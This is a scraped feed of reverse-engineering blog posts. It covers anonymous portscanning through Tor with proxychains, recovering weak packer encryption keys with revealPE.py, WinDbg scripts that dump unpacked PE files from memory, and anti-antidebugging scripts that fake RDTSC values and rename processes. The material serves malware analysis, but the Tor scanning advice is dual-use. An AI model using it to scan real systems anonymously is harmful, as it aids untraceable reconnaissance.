<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEmcowEDBeWvIpezm16D_zs3v_6vmZSmVa4yRnEmPheniL3NjTd0ELavSTWOBAU4izCxqLSNrQzWhfL-gN86hgj4uh0emBXjxGR0ByluRWEEPf0X4eZEB_m6KC9I4BefaPhRrD4CO9Dyg/s1600/temp20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="645" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEmcowEDBeWvIpezm16D_zs3v_6vmZSmVa4yRnEmPheniL3NjTd0ELavSTWOBAU4izCxqLSNrQzWhfL-gN86hgj4uh0emBXjxGR0ByluRWEEPf0X4eZEB_m6KC9I4BefaPhRrD4CO9Dyg/s640/temp20.png" width="640" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
<h2>
Other Tools</h2>
<div>
<br /></div>
As we have seen, nmap works better combined with proxychains. Proxychains + nmap from the raspberry pi seems the best option to perform portscanning through tor network.<br />
<br />
However, other tools for gathering information like burpsuite, nikto, dirbuster, etc… it could be harder to redirect all the traffic with proxychains. If you are connected to the wifi ap and you know all the tcp traffic of the wifi ap is redirected to tor, it’s more comfortable to work and to keep anonymity.</div>
<div>
<h2>
</h2>
<h2>
Anonymity Test</h2>
<br />
I wanted to be sure all the packets to any tcp port was being routed through tor. I configured an environment where I could capture traffic before and after tor network:<br />
<br />
Machine 1 —– Wireshark 1 —–> TOR Network —— Wireshark 2 ——> Machine 2<br />
<br />
Machine 1 is connected to my wifi ap that redirect all the traffic through tor. On the other hand, my router is redirecting all the traffic from wan interface to machine 2.<br />
<br />
From machine 1 I launched a portscan to my public ip through tor with -sT option, to capture tcp/syn packets at wireshark 2:<br />
<br />
Wireshark 2 (receiver):<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7IFwEoi_ZYbcaxNFKfsQzZRJwjExs7I8xaMcGNhWo4XWvTzw2Rc1oeXAN6xTPWRsdBksioMOPHZbQL5LH0n3am18T6iRL1ZT-xZNrRwT4Y-14omJSh9yEZR7ddYenyk_Cto4-PlOclCI/s1600/temp19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="457" data-original-width="917" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7IFwEoi_ZYbcaxNFKfsQzZRJwjExs7I8xaMcGNhWo4XWvTzw2Rc1oeXAN6xTPWRsdBksioMOPHZbQL5LH0n3am18T6iRL1ZT-xZNrRwT4Y-14omJSh9yEZR7ddYenyk_Cto4-PlOclCI/s640/temp19.png" width="640" /></a></div>
<br />
<br />
Source ip addresses of the tcp/syn packets are tor exit nodes. My ip is not revealed. In addition, we can see some packets are coming from an exit node and other packets are coming from other exit node, because each connection is router through different tor network paths.</div>
<h2>
</h2>
<h2>
</h2>
<h2>
References</h2>
<div>
<br /></div>
<div>
<ul>
<li>Configure Proxychains + Tortunnel: <a href="https://www.aldeid.com/wiki/Tor/Usage/Nmap-scan-through-tor">https://www.aldeid.com/wiki/Tor/Usage/Nmap-scan-through-tor</a></li>
<li>Configure Raspberry Pi as AP: <a href="http://itsacleanmachine.blogspot.com.es/2013/02/wifi-access-point-with-raspberry-pi.html">http://itsacleanmachine.blogspot.com.es/2013/02/wifi-access-point-with-raspberry-pi.html</a></li>
<li>Configure Raspberry Pi AP to TOR proxy: <a href="https://learn.adafruit.com/onion-pi/preparation">https://learn.adafruit.com/onion-pi/preparation</a></li>
</ul>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-19061162946255221892017-08-27T14:48:00.000-07:002018-05-04T09:51:22.960-07:00Tools For Unpacking Malware, Part 2. Weak encryption algorithmsSome days ago I started a series of posts about tools and methods for unpacking malware, here you can find the <a href="https://vallejo.cc/2017/08/13/tools-for-unpacking-malware-part-1-dumping-executables-from-rwe-memory/">first part</a>. Each malware/packer is very different, and sometimes there are no generic ways to unpack them. But sometimes we can find characteristics shared by a number of them. For example, packers usually rely on weak encryption algorithms and, sometimes, it is possible to attack them.<br />
<a name='more'></a><br />
<br />
In this article I am going to write about some methods based on very simple cryptography to attack these weak encryption algorithms used by packers. In spite of the simplicity of these attacks, they are, still nowadays, very effective against a significant number of malware families and packers, and they can help to unpack automatically some samples.<br />
<br />
First, I must say this is not new, it has been being used for long time. Here there are some articles and tools:<br />
<div>
<br />
<ul>
<li><a href="https://vallejocc.files.wordpress.com/2017/08/x-raying.pdf">Principles and practice of x-raying</a>, great and maybe the first article about this, by <a href="http://pferrie.host22.com/">Peter Ferrie</a>.</li>
<li><a href="https://blog.didierstevens.com/programs/xorsearch/">XorSearch</a>, by <a href="https://blog.didierstevens.com/">Didier Stevens</a>.</li>
<li><a href="https://playingwithothers.com/2012/12/20/decoding-xor-shellcode-without-a-key/">Decoding XOR shellcode without a Key</a>, by <a href="https://playingwithothers.com/author/playingwithothers/">Chris Jordan</a>.</li>
<li><a href="https://github.com/tomchop/unxor">UnXor</a>, by <a href="http://tomchop.me/">Tomchop</a>.</li>
<li><a href="https://www.tu-braunschweig.de/Medien-DB/sec/pubs/2013-raid.pdf">Deobfuscating Embedded Malware using Probable-Plaintext Attacks</a> (KANDI tool), by Christian Wressnegger, Frank Boldewin, and Konrad Rieck.</li>
</ul>
<br />
I implemented a python tool (revealpe.py) performing these attacks. I tried to put some of these attacks together in a tool, and I tried to do some improvements, specially oriented to malware unpacking:<br />
<a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/tree/master/Standalone/RevealPE">RevealPE</a><br />
<br />
The tool is able to attack some algorithms based on XOR/ADD/ROL, with keys of 8 or 32 bits (I think it is the most common in malware/packers), with or without key increments each round. In addition, it performs an specific attack against vigenere-like sustitution ciphers that let’s to find some more complex encryptions.</div>
<div>
<h2>
Usage</h2>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHJc91hDRmVnXuhKpyAtOTHEz5hT6SRMzzTV_F9QIQQzwrAnRrfJcVEalC0Ghyp1J0gIdjxLtsnGbWVDNKV6Eu6ivnQGbfqMV7N5i8Ymq8Vr1Bu6PldrwlymsejhgDCuVkoSkcJnZGQ7c/s1600/tem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="489" data-original-width="700" height="446" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHJc91hDRmVnXuhKpyAtOTHEz5hT6SRMzzTV_F9QIQQzwrAnRrfJcVEalC0Ghyp1J0gIdjxLtsnGbWVDNKV6Eu6ivnQGbfqMV7N5i8Ymq8Vr1Bu6PldrwlymsejhgDCuVkoSkcJnZGQ7c/s640/tem.jpg" width="640" /></a></div>
<br />
<br />
<br />
<br />
Results:<br />
<br />
The script applies all the specified attacks on the target file. It could get matches with different algorithms and keys. It will create files for each result, whose names will have this format:<br />
<br />
<original_file_name>.<algorithm>_<offset_match>_<param1>_<param2>.<dec|decpe><br />
<br />
The extension .dec is for the file raw decrypted with the algorithm and key found. The extension .decpe is for the decrypted and extracted valid PE, if found.<br />
<br />
For example, for the sample f658526e1227c45415544063997b49c8, we obtain these results:<br />
f658526e1227c45415544063997b49c8.XOR1_1f60_88_ff.dec<br />
f658526e1227c45415544063997b49c8.XOR1_1f60_88_ff.decpe<br />
f658526e1227c45415544063997b49c8.XOR4_1f60_85868788_fbfbfbfc.dec<br />
<br />
Match was found at position 0x1f60. The results mean it can be decrypted with xor_byte, starting key 0x88, and increment 0xff. A result is got with xor_dword, starting key 0x85868788, increment 0xfbfbfbfc, but .decpe is not generated, so the alg and key found was valid for the given plaintext but not for the full PE (probably it is a problem of alignment, and with the option –check-unaligned it would get the good key for xor_dword algorithm).<br />
<br />
Here you can watch a short video showing the usage of this tool:<br />
<br />
<br />
<h2>
Examples of Weak Encryption Algorithms</h2>
<br />
Here there are some examples of weak algorithms that it is possible to attack.<br />
<br />
<br />
<h3>
XOR or ADD (Constant Key)</h3>
<br />
P xor K = C -> K = C xor P<br />
<br />
P add K = C -> K = C sub P<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6tCIh9B0dWG1L7QqMUHOc_aMdPplw7rjIOItoKYFp37GkstHT68InV9uJvXS-H_ftrkPDhcmOv11kVU03rngAqsuUs4fMJGP4K6n83O42HffPvdRtAtjz4KD6vQB-hr2YLAWnjZipWP8/s1600/temp2+%25282%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="255" data-original-width="638" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6tCIh9B0dWG1L7QqMUHOc_aMdPplw7rjIOItoKYFp37GkstHT68InV9uJvXS-H_ftrkPDhcmOv11kVU03rngAqsuUs4fMJGP4K6n83O42HffPvdRtAtjz4KD6vQB-hr2YLAWnjZipWP8/s640/temp2+%25282%2529.jpg" width="640" /></a></div>
<br />
<br />
Example:<br />
<br />
Initial key: 0x85, no increment.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF3PJ1Q2uy-lpos4x84Y08Gg7IYkDbx9MZ48K7mq8nKllXQpXxKfWi7Xbr9NamG_BCmDRbzfEDAIqAmT9hbP9R_IPHvJ6Y1r0LKVChhSNu8Qr_6GVmPbtna4XAAjhzTQAwYqVzEbL7Tio/s1600/temp1+%25282%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="448" data-original-width="700" height="408" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF3PJ1Q2uy-lpos4x84Y08Gg7IYkDbx9MZ48K7mq8nKllXQpXxKfWi7Xbr9NamG_BCmDRbzfEDAIqAmT9hbP9R_IPHvJ6Y1r0LKVChhSNu8Qr_6GVmPbtna4XAAjhzTQAwYqVzEbL7Tio/s640/temp1+%25282%2529.jpg" width="640" /></a></div>
<br />
<br />
<h3>
XOR or ADD (Incremented Key, Constant Increment)</h3>
<br />
Pi xor Ki = Ci -> Ki = Ci xor Pi -> K(i) – K(i-1) = Kinc<br />
<br />
Pi add Ki = Ci -> Ki = Ci sub Pi -> K(i) – K(i-1) = Kinc<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRTfbodAU9B2_ayRPqnRvP75H_Q1AUR5dJvrA5JJEh6Erdg8PCZwtkSY_9LNe2_g2gdjJeT_3LzGPx0VlwOVNQnWFbQNCWvVUqvUUcIrjlHXDkTo-MFKfXJZfrTgGd1MOwXNZD2eGaFI/s1600/temp3+%25282%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="330" data-original-width="638" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRTfbodAU9B2_ayRPqnRvP75H_Q1AUR5dJvrA5JJEh6Erdg8PCZwtkSY_9LNe2_g2gdjJeT_3LzGPx0VlwOVNQnWFbQNCWvVUqvUUcIrjlHXDkTo-MFKfXJZfrTgGd1MOwXNZD2eGaFI/s640/temp3+%25282%2529.jpg" width="640" /></a></div>
<br />
<br />
Example:<br />
<br />
Initial key: 0x54, Increment: 0x92.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR6XmxOj9DfNaE8RoVU61YsHL8JasS-jmNvjuUiYMuZhhKxs_JPnyc1WbJg0wYUKSXZuja3Od_Udm3ltYUrNtV0NCbpztqnNm7MI1Rz6IvAJqeZC_TOH-TmqGXV2SbMvb1BuMigrabcEQ/s1600/temp5+%25282%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="707" data-original-width="700" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR6XmxOj9DfNaE8RoVU61YsHL8JasS-jmNvjuUiYMuZhhKxs_JPnyc1WbJg0wYUKSXZuja3Od_Udm3ltYUrNtV0NCbpztqnNm7MI1Rz6IvAJqeZC_TOH-TmqGXV2SbMvb1BuMigrabcEQ/s640/temp5+%25282%2529.jpg" width="632" /></a></div>
<br />
<br />
<h3>
Vigenere-Like</h3>
<br />
Ci = SUST_TABLE[ Pi ]<br />
<br />
Indexes of positions with same values in plaintext, must be identical to indexes of positions with same values in ciphertext, and we can create signatures based on distance between same values to identify the position in the ciphertext for the given plaintext.<br />
<br />
Example:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ4iRo07UzB3X7hkJWmeD2ePbtaiHthsxJRqv7LYxfdrBOhE2F8zP1DkG7bBPxoOgNkMHiBhfPQNkMJBSvL0Pkydp8LkYzYUgWJGOUN-nA10dhdpGDw8SQdallQTqWIWjw3TdYuPM2ago/s1600/temp7+%25282%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="487" data-original-width="700" height="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ4iRo07UzB3X7hkJWmeD2ePbtaiHthsxJRqv7LYxfdrBOhE2F8zP1DkG7bBPxoOgNkMHiBhfPQNkMJBSvL0Pkydp8LkYzYUgWJGOUN-nA10dhdpGDw8SQdallQTqWIWjw3TdYuPM2ago/s640/temp7+%25282%2529.jpg" width="640" /></a></div>
<br />
<br />
Once a ciphertext for the plaintext is found, it is possible to start to reconstruct a partial sustitution table: (T -> 73), (h -> A2), (i -> A6), (s -> FC), (space -> C5), etc… (In addition to parts of the PE header, revealPE.py tool searchs for other wellknown plaintext to complete a bit more the sustitution table, for example, common API names).<br />
<br />
In addition to create a partial sustitution table, revealPE.py bruteforces some common algorithms by checking for each algorithm if it fits with the reconstructed partial sustitution table (revealPE.py bruteforces these algorithms: xor-add-rol , xor-rol-add, add-xor-rol, add-rol-xor, rol-xor-add, rol-add-xor, with all the possible keys).<br />
<br />
<br />
<h2>
Tests</h2>
<br />
I did some tests with a collection of exe files and other collection of pdf files:<br />
<br />
Exe files:<br />
93 exe files with embbeded-encrypted PE found.<br />
4453 exe files with no embbeded-encrypted PE found.<br />
<br />
Pdf files:<br />
586 pdf files with encrypted PE found.<br />
44536 pdf files with no encrypted PE found.<br />
<br />
The files were randomly choosen for the tests. Probably, most of them are not packed files or they don’t contain any embedded/encrypted PE. For example, revealPE didn’t find embedded PEs in 4453 exe files, but it doesn’t mean it failed for this number of files, because probably most of them don’t contain embedded PEs.<br />
<br />
For a more accurate test I would need a collection of files that I am sure they contain embedded PE files, to know exactly how many PEs revealPE was able to decrypt.<br />
<br />
The list of samples tested can be found here:<br />
<ul>
<li><a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/Standalone/RevealPE/Tests/exe_tests.txt">Exe tests</a></li>
<li><a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/Standalone/RevealPE/Tests/pdf_tests.txt">Pdf tests</a></li>
</ul>
<br /></div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-52564733995835866822017-08-13T14:44:00.000-07:002018-05-04T09:51:51.085-07:00Tools For Unpacking Malware, Part 1. Dumping executables from RWE memoryThis is the first part of a series of articles (at least I will write a second part and i hope to continue) where I will write about different ways that I use to unpack malware, and where I will share some tools and scripts that I use frequently for this purpose. I hope these articles and tools will be useful for you.<br />
<div>
<a name='more'></a><br />
<br />
The way to unpack a malware depends a lot on the malware family being analyzed. Sometimes it is impossible to do it in a generic way, and it takes a lot of patience and imagination. Each one has a way of working on this. But sometimes we can find common behaviours in malware that can help us to automatize the task of unpacking malware.<br />
<br />
<br />
<h2>
PE files in ReadWriteExecute Memory</h2>
<br />
I don’t know an exact percentage, maybe around 60-70% of the packed malware that I have analyzed, the packer unpacks malware PE modules into RWE memory.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuZKCcmW5nofCWJRHh_zpnuyi2_3KRXx6UalcDZVTkf1W2pqggRcepYQQ9isYnH0BAMte0Pk03MLPBNAGo05a12DvP51VlXx1f5E6uBCFYQ55rgLnbfoZ4DFNImq99XQ8Oz5ZhKSNrRLM/s1600/sin-tc3adtulo+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="264" data-original-width="700" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuZKCcmW5nofCWJRHh_zpnuyi2_3KRXx6UalcDZVTkf1W2pqggRcepYQQ9isYnH0BAMte0Pk03MLPBNAGo05a12DvP51VlXx1f5E6uBCFYQ55rgLnbfoZ4DFNImq99XQ8Oz5ZhKSNrRLM/s640/sin-tc3adtulo+%25281%2529.png" width="640" /></a></div>
<br />
<br />
(With WinDbg we can switch to a process with .process /i <process> and see the address space with !address).<br />
<br />
Sometimes the packer will unpack the malware into the current process memory space. Other times it will inject PEs into another process memory space, or it will create a new process for doing hollow processes. Etc… But usually, it will create RWE memory and it will map the PE there.<br />
<br />
<br />
<h2>
Windbg Scripts for finding PEs in RWE</h2>
<br />
Based on this, i wrote some Windbg scripts for scanning running processes on the debuggee machine, searching for PEs in RWE memory. I have used these scripts to unpack most of the malware that I have analyzed, and they helped me a lot since time ago. I hope they are useful for you too.<br />
<br />
<a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/WinDbg/dump_injected_pe_rwemem.wdbg">dump_injected_pe_rwemem.wdbg</a> : This script will scan processes’ memory of the debugee machine searching for PEs mapped into RWE memory. When it finds a PE, it pages-in the memory of the PE (because sometimes, some page of the memory area could be not mapped and it could fail to dump it) and dumps it to the directory specified in the first argument:<br />
<br />
<ul>
<li>$$>a<dump_injected_pe_rwemem.wdbg <results directory></li>
</ul>
<br />
Dumped files will have a name with this format:<br />
<br />
<ul>
<li><process>_<baseaddress>_<length>.pedmp (the process containing the PE, the baseaddress of the PE and the length).</li>
</ul>
<br />
<a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/WinDbg/dump_injected_pe_rwemem_fast.wdbg">dump_injected_pe_rwemem_fast.wdbg</a> : This script works exactly like the previous one, but it won’t page-in the memory of the PE before dumping it. Most of times, it will dump the PE perfectly and it will be much faster. Anyway, I usually <a href="http://windows7themes.net/en-us/how-to-disable-swap-paging-file-in-windows-7-ssd-optimization/">disable swapping </a>in the debuggee machine, because doing that, we can be sure all the pages are in memory. It works exactly like the previous script and results’ name follow the same format.<br />
<br />
<ul>
<li>$$>a<dump_injected_pe_rwemem_fast.wdbg <results directory></li>
</ul>
<br />
<a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/WinDbg/find_injected_pe_rwemem.wdbg">find_injected_pe_rwemem.wdbg</a> : This script searchs for PEs in the same way that previous scripts, but it only notifies about PEs that it found, it won’t dump them to disk. No need params:<br />
<br />
<ul>
<li>$$>a<find_injected_pe_rwemem.wdbg</li>
</ul>
<br />
<a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/WinDbg/dump_process_symbols_to_file.wdbg">dump_process_symbols_to_file.wdbg</a> : This is a very simple script, but useful. It will write to a file all the symbols of a given process (API addresses for example, and any other symbol loaded by WinDbg). It will write to the file the addresses and the symbols.<br />
<br />
<ul>
<li>$$>a<dump_process_symbols_to_file.wdbg <destination file path> <process></li>
</ul>
<br />
Each line will contain an address and a symbol, like this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYUfmUIfI9njVc-qq-LscDgOMAU39dNOJSqLaeGXYIuSoWxIKGiPRg0xHUzArQR1YXfXPdGBISLbX4PzaaFU3p3Ujje2t3XeR9a_jlpuIGtSIObamffWKAZCAdne5dug1ZpU2DBJUcYWU/s1600/sin-tc3adtulo1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="469" data-original-width="700" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYUfmUIfI9njVc-qq-LscDgOMAU39dNOJSqLaeGXYIuSoWxIKGiPRg0xHUzArQR1YXfXPdGBISLbX4PzaaFU3p3Ujje2t3XeR9a_jlpuIGtSIObamffWKAZCAdne5dug1ZpU2DBJUcYWU/s640/sin-tc3adtulo1.png" width="640" /></a></div>
<br />
<br />
If we dump a PE and we disassemble it with IDA or any other disassembler, variables usually could contain these addresses (for example if the malware has loaded APIs with GetProcAddress and it has kept the pointer into a variable, or the imports, etc…).<br />
<br />
<a href="https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/IDA/set_symbols_for_addresses.py">set_symbols_for_addresses.py</a> : This IDA script scan dumped PE memory for variables containing addresses matching symbols that were kept with the dump_process_symbols_to_file.wdbg script (for example a variable containing a pointer to kernel32!CreateFileA will be renamed to kernel32_CreateFileA). It helps a lot to analyze the dumped PE.<br />
<br />
<br />
<h2>
Examples</h2>
<br />
To understand better how to use these scripts I recorded the following short video that shows three examples where I use these scripts to unpack and analyze malware:<br />
<br />
<br /></div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-11252559074970881132017-07-16T13:29:00.000-07:002018-05-04T09:52:07.515-07:00Anti-Antidebugging WinDbg ScriptsIn this post I would like to share some scripts for WinDbg that they were useful for me while I was reversing malware with antidebug tricks. In the future I would like to write additional scripts related to this issue, and I will update this post to have all together. I hope these scripts will be useful for you too.<br />
<a name='more'></a>First all, I am not an expert in Windows Kernel. If you find errors in the scripts or I am doing very crazy things that could destroy the debuggee machine, please tell me to fix them.<br />
<br />
These scripts work with WinDbg (not local) Kernel Debugging. You need a machine running WinDbg, connected to another machine being debugged. In my case I work with a Windows host machine running WinDbg, and I debug a VMware machine (I use VirtualKD for the debugger connection because connection is much faster). But there are a lot of configurations.<br />
<br />
I recommend these articles about setting the environment:<br />
<div>
<br />
<ul>
<li><a href="http://virtualkd.sysprogs.org/tutorials/install/">VirtualKD – Installation</a></li>
<li><a href="https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab/">Starting with Windows Kernel Exploitation – part 1 – setting up the lab</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-">Setting Up Kernel-Mode Debugging of a Virtual Machine Manually</a></li>
</ul>
<br />
Now, let’s explain each script.<br />
<br />
<h2>
Anti-rdtsc-trick script</h2>
<div>
<br /></div>
<ul>
<li>Parameters: $$>a<anti_antidebug_rdtsc.wdbg</li>
</ul>
<br />
Script:<br />
<br />
<ul>
<li><a href="https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/anti_antidebug_rdtsc.wdbg">anti_antidebug_rdtsc.wdbg</a></li>
</ul>
<br />
There is a lot of information on internet about this trick. Here you can read pafish code using this trick:<br />
<br />
<ul>
<li><a href="https://github.com/a0rtega/pafish/blob/master/pafish/cpu.c">https://github.com/a0rtega/pafish/blob/master/pafish/cpu.c</a></li>
</ul>
<br />
There are tools that install a driver for skipping this trick. The WinDbg script works in a similar way, but it doesn’t need a driver and it works in x86 and x64 (not sure if there are tools for this working on 64 bits).<br />
<br />
How it works: It enables flag 2 of cr4 (TSD Time Stamp Disable). In this way RDTSC is a privileged instruction. After that, it enables the option in Windbg for stopping when user mode exception occurs (gflag +sue +soe, gflags 0x20000001).</div>
<div>
<br />
<br />
Then it enables capturing for 0xc0000096 exception (privileged instruction executed). In this way, when RDTSC is executed by an application, a exception will occur and windbg will catch the exception. In this moment, the script checks the ins code of RDTSC, 0x310f. If it is a RDTSC instruction, it skips the instruction, ip = ip+2. Finally it sets edx = 0, and eax = last_counter+1. Applications executing RDTSC will see an increment of 1 each RDTSC execution.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsBAwFDGdrqS6Z0Biq9ZlHE4dKRLmgd1qcomCA0cA9F-uM6KHQ0MfSpxMI1L_JSFf0qgEOqqA5GLKpd4FF1GqW4eDHcNecv714Y2QTsmEGH75cC0xCXqBzn4C9pG1ZsoOqK0bf6R0ku-g/s1600/temp15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="321" data-original-width="590" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsBAwFDGdrqS6Z0Biq9ZlHE4dKRLmgd1qcomCA0cA9F-uM6KHQ0MfSpxMI1L_JSFf0qgEOqqA5GLKpd4FF1GqW4eDHcNecv714Y2QTsmEGH75cC0xCXqBzn4C9pG1ZsoOqK0bf6R0ku-g/s640/temp15.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
The script:<br />
<br /></div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; font-family: "Source Code Pro", monospace; font-style: inherit; font-weight: inherit; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">$$set rdtsc as priv instruction, then catch
$$exceptions for priv instructions and skip
$$rdtsc(eip=eip+2) and set edx:eax = last rdtsc
$$returned value +1
$$use $t9 for counter
r $t9 = 0
$$rdtsc = privileged instruction
r cr4 = cr4 | 4
$$Stop on exception
!gflag +soe
$$Stop on unhandled user-mode exception
!gflag +sue
$$disable access violation (we have enabled exception
$$in user mode, and access violation will cause lot of
$$exceptions)
sxd av
$$we enable to catch privileged instructions execution
$$(we have converted rdtsc in priv ins with cr4)
$$in this moment we check if it is rdtsc, and in this case,
$$we jump over the instruction and we set eax=0 edx=0
sxe -c ".if((poi(eip)&0x0000ffff)==0x310f){.printf \"rdtsc\r\n\";r eip = eip+2;r eax=@$t9;r edx=0;r $t9=@$t9+1; gh;}" c0000096</pre>
</blockquote>
<h2>
</h2>
<h2>
</h2>
<h2>
Script for renaming running process</h2>
<br />
<br />
<ul>
<li>Parameters: $$>a<change_process_name.wdbg <main module of the process></li>
</ul>
<br />
Script:<br />
<br />
<ul>
<li><a href="https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/change_process_name.wdbg">change_process_name.wdbg</a></li>
</ul>
<br />
If we want a process will have a different name for toolhelp api for example, we need to modify EPROCESS->SeAuditProcessCreationInfo.ImageFileName:<br />
<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr97EUSbeK19P2Gp2Pr4uvSDDtim_45EuL4K07m6KVDFTuR60O3ePknExK7DthOfXorE9lz59FDBzeVLkm-SeH4cbsEod-PEp-2HdQfjYQyi7zQSjmGh2n5dG8R4hSLzyFrnfL9LH8lUM/s1600/temp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="575" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr97EUSbeK19P2Gp2Pr4uvSDDtim_45EuL4K07m6KVDFTuR60O3ePknExK7DthOfXorE9lz59FDBzeVLkm-SeH4cbsEod-PEp-2HdQfjYQyi7zQSjmGh2n5dG8R4hSLzyFrnfL9LH8lUM/s640/temp.png" width="640" /></a></div>
<br />
<br />
<div>
The script receives as parameter the name of the main image of the process. It searchs processes with that imagename and it changes the name increasing +1 to the last letter. For example:<br />
<br /></div>
</div>
<div>
<ul>
<li>$$>a<change_process_name.wdbg vmtoolsd.exe</li>
</ul>
<br />
In this case the scripts will rename the vmtoolsd.exe -> vmtoolse.exe. When a malware searchs for this process, it won’t find it. The renamed process continues working with no problem.<br />
<br /></div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-5bNS2IPuoqjx48LWd9xRqf0ya7e2nOYwOpAAFsG6HmhEEpFvGPsARsXTPQh8mbdOlvBNJ-mRiYGfcyHzD9X6kCnWo5F1oAgmHXxIf1R6TDIMCEYpB5f2lzBgtGUwtkDLgbiaL3nCK3g/s1600/temp13+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="499" data-original-width="700" height="456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-5bNS2IPuoqjx48LWd9xRqf0ya7e2nOYwOpAAFsG6HmhEEpFvGPsARsXTPQh8mbdOlvBNJ-mRiYGfcyHzD9X6kCnWo5F1oAgmHXxIf1R6TDIMCEYpB5f2lzBgtGUwtkDLgbiaL3nCK3g/s640/temp13+%25281%2529.jpg" width="640" /></a></div>
